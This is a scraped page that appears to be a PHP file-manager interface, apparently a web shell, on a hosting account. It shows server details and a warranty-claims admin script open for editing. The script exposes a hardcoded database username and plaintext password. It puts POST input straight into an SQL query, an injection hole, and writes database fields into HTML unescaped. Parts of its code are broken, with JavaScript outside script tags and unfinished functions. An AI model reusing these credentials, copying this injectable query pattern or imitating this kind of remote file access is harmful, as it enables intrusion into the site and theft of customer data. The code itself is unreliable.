Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-611.16.1.el9_7.x86_64

PHP Version:

8.2.30

User:

u226437350

Directory:

/home/u226437350/domains/extrapower.in/public_html/admin2

Free Space:

8.51 TB

🔧 Quick Actions

✏️ Editing: filtter.php

<?php include('header.php')?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/html2pdf.js/0.10.1/html2pdf.bundle.min.js" integrity="sha512-GsLlZN/3F2ErC5ifS5QtgpiJtWd43JWSuIgh7mbzZ8zBps+dvLusV+eNQATqgA/HdeKFVgA5v3S/cIrLF7QnIg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<div id="myModal" class="modal">
    <div class="modal-content">
        <span class="close" onclick="closeModal()">&times;</span>
        <div id="modalContent"></div>
    </div>
</div>
<div class="page-wrapper mdc-toolbar-fixed-adjust">
        <main class="content-wrapper">
          <div class="mdc-layout-grid">
            <div class="mdc-layout-grid__inner">
              <div class="mdc-layout-grid__cell stretch-card mdc-layout-grid__cell--span-12">
                <div class="mdc-card p-0">
                  <h6 class="card-title card-padding pb-0">Customer Request Table...... </h6>  
                  <div class="table-responsive">
    
<?php
$servername = "localhost";
$username = "u226437350_battery3";
$password = "Subham@2009";
$dbname = "u226437350_battery3";

// Create a database connection
$conn = new mysqli($servername, $username, $password, $dbname);

// Check the connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

$searchName = isset($_POST['searchName']) ? $_POST['searchName'] : '';
$searchMonth = isset($_POST['searchMonth']) ? $_POST['searchMonth'] : '';

$sql = "SELECT * FROM damaged_goods WHERE 
        (form_name LIKE '%$searchName%' OR '$searchName' = '') AND 
        (DATE_FORMAT(created, '%Y-%m') = '$searchMonth' OR '$searchMonth' = '')";

$result = $conn->query($sql);

if ($result->num_rows > 0) {
    echo "<table>";
            echo "<tr>
                    <th>Form Name</th>
                    <th>Purchase Date</th>
                    <th>Damage Serial No</th>
                    <th>DR Serial No</th>
                    <th>OWR Serial No</th>
                    <th>Customer Name</th>
                    <th>Customer Purchase Date</th>
                    <th>Replace Time </th>
                    <th>Warranty Periode</th>
                    <th>Image</th>
                    <th>Action</th>
                    <th></th>
                    <th>Status</th>
                </tr>";

while ($row = $result->fetch_assoc()) {
                    echo "<tr data-id='" . $row["id"] . "'>";
                    echo "<td contenteditable='true'>" . $row["form_name"] . "</td>";
                    echo "<td contenteditable='true'>" . $row["purchase_date"] . "</td>";
                    echo "<td contenteditable='true'>" . $row["damage_serial"] . "</td>";
                    echo "<td contenteditable='true'>" . $row["dr_serial"] . "</td>";
                    echo "<td contenteditable='true'>" . $row["owr_serial"] . "</td>";
                    echo "<td contenteditable='true'>" . $row["customer_name"] . "</td>";
                    echo "<td contenteditable='true'>" . $row["customer_purchase_date"] . "</td>";
                    echo "<td contenteditable='true'>" . getWarrantyText($row["customer_warranty"]) . "</td>";
                    echo "<td contenteditable='true'>" . $row["another_column"] . "</td>"; 
                    echo "<td><img src='" . $row["image"] . "' alt='Damaged Image' style='max-width: 100px; max-height: 100px;'></td>";
                    echo "<td><button onclick='saveChanges(this)'>Save</button></td>";
                    echo "<td><button onclick='approveAndOpenModal(" . $row["id"] . ")'>Approve</button></td>";
                    echo "<td class='status-column'>" . $row["status"] . "</td>";
                    echo "</tr>";
                }
            echo "</table>";
} else {
    echo "No matching records found";
}

function getWarrantyText($warrantyValue) {
    switch ($warrantyValue) {
        case 1:
            return "1 time";
        case 2:
            return "2 time";
        case 3:
            return "3 time";
        default:
            return "Unknown Warranty";
    }
}
// Close the database connection
$conn->close();
?>

document.addEventListener('DOMContentLoaded', function () {
            // Count and display the number of rows with the status "Approved"
            countAndDisplayApprovedRows();
        });

function countAndDisplayApprovedRows() {
            var approvedRows = document.querySelectorAll('.status-column').forEach(function (statusColumn) {
                if (statusColumn.innerText.trim().toLowerCase() === 'approved') {
                    // Increment the count for each row with the status "Approved"
                    approvedCount++;
                }
            });

// Display the count of approved rows
            var approvedCountElement = document.getElementById('approvedCount');
            if (approvedCountElement) {
                approvedCountElement.innerText = approvedCount;
            }
        }

function approveAndOpenModal(recordId) {
            approveRecord(recordId);
            openModal(recordId);
        }

function openModal(recordId) {
            fetch('ck.php?id=' + recordId)
                .then(response => response.json())
                .then(data => {
                    if (data.status === 'success') {
                        const modalContent = document.getElementById('modalContent');
                        modalContent.innerHTML = `
                            <p><strong>Dealer Name:</strong> ${data.form_name}</p>
                            <p><strong>Purchase Date:</strong> ${data.purchase_date}</p>
                            <p><strong>Damage Replace Serial No.</strong> ${data.damage_serial}</p>
                            <p><strong>Owner Allot Replace Serial No.</strong> ${data.dr_serial}</p>
                            <button id="downloadPdfBtn">Download as PDF</button>
                        `;

document.getElementById('myModal').style.display = 'block';

function closeModal() {
            document.getElementById('myModal').style.display = 'none';
        }

function downloadAsPdf(data) {
            const content = `
                <p><strong>Form Name:</strong> ${data.form_name}</p>
                <p><strong>Purchase Date:</strong> ${data.purchase_date}</p>
                <p><strong>Damage  Serial No.:</strong> ${data.damage_serial}</p>
                <p><strong>Dealer Replace Serial No.:</strong> ${data.dr_serial}</p>
            `;

const element = document.createElement('div');
            element.innerHTML = content;

const options = {
                margin: 10,
                filename: 'details.pdf',
                image: { type: 'jpeg', quality: 0.98 },
                html2canvas: { scale: 2 },
                jsPDF: { unit: 'mm', format: 'a4', orientation: 'portrait' },
            };

html2pdf(element, options);
        }

function saveChanges(button) {
            var row = button.parentNode.parentNode;
            var cells = row.getElementsByTagName('td');

var formData = {
                id: row.dataset.id,
                formName: cells[0].innerText,
                purchaseDate: cells[1].innerText,
                damageSerial: cells[2].innerText,
                drSerial: cells[3].innerText,
                owrSerial: cells[4].innerText,
                customerName: cells[5].innerText,
                customerPurchaseDate: cells[6].innerText,
                warranty: cells[7].innerText,
                anotherColumn: cells[8].innerText
            };

fetch('ct.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(formData),
            })
                .then(response => response.json())
                .then(data => {
                    if (data.status === 'success') {
                        console.log('Changes saved successfully');
                    } else {
                        console.error('Error saving changes:', data.message);
                    }
                })
                .catch((error) => {
                    console.error('Error:', error);
                });
        }

function searchRecords() {
    var searchName = document.getElementById('searchName').value.trim();
    var searchMonth = document.getElementById('searchMonth').value;

fetch('filter.php', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: 'searchName=' + encodeURIComponent(searchName) + '&searchMonth=' + encodeURIComponent(searchMonth),
    })
    .then(response => response.text())
    .then(data => {
        document.getElementById('tableContainer').innerHTML = data;
        countAndDisplayApprovedRows(); // Recalculate the approved count after search
    })
    .catch(error => {
        console.error('Error:', error);
    });
}

</script>
    <?php include('footer.php')?>

.container {
    max-width: 800px;
    margin: 0 auto;
}

table {
    width: 100%;
    border-collapse: collapse;
    margin-top: 20px;
}

th, td {
    padding: 12px;
    text-align: left;
    border-bottom: 1px solid #ddd;
}

th {
    background-color: #f2f2f2;
}

td {
    background-color: #fff;
}

tr:hover {
    background-color: #ffc0cb; /* Change to pink color */
}

button {
    padding: 8px 16px;
    background-color: #4CAF50;
    color: white;
    border: none;
    border-radius: 4px;
    cursor: pointer;
}

/* Responsive Styles */
@media (max-width: 600px) {
    th, td {
        padding: 8px;
        font-size: 14px;
    }

button {
        padding: 6px 12px;
        font-size: 14px;
    }
}

/* Add this in your existing CSS or create a new CSS file */
.modal {
  display: none;
  position: fixed;
  z-index: 1;
  left: 0;
  top: 0;
  width: 100%;
  height: 100%;
  overflow: auto;
  background-color: rgba(0, 0, 0, 0.5);
}

.modal-content {
  background-color: #fefefe;
  margin: 10% auto;
  padding: 20px;
  border: 1px solid #888;
  width: 80%;
  max-width: 600px;
  position: relative;
}

.close {
  color: #aaa;
  float: right;
  font-size: 28px;
  font-weight: bold;
}

.close:hover,
.close:focus {
  color: black;
  text-decoration: none;
  cursor: pointer;
}

</style>
</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: filtter.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation